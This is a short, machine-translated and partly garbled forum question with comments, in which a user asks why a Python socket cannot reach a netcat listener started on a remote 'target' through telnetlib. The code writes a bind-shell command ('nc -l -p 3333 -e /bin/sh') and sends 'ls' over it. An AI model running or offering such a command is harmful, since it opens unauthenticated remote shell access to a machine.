,我想连接到我通过telnetlib创建一个套接字,我可以从netcat的连接到它,但是当我从蟒蛇尝试拒绝连接。连接被拒绝对蟒蛇插座(端口是开放的,我可以用NC连接),所以因个人原因
tn.write(b"/usr/bin/nc -l -p 3333 -e /bin/sh\n")
print("netcat listening on 3333 on target, trying to connect")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tn.host, 3333))
s.send('ls')
print(s.recv(1024))
s.close()
如果我可以通过netcat的连接到它(通过将例如并无限循环tn.write后())
这样真的是'/ bin/sh的'在你的代码已经证明? –
如果我在远程机器上运行/ usr/bin/nc -l -p 3333 -e/bin/sh,那么这不是问题,我可以通过netcat连接到它 –
您可能会注意到,您从python启动的命令有反引用最后根据你在远程机器上运行的命令显示的代码不会。 –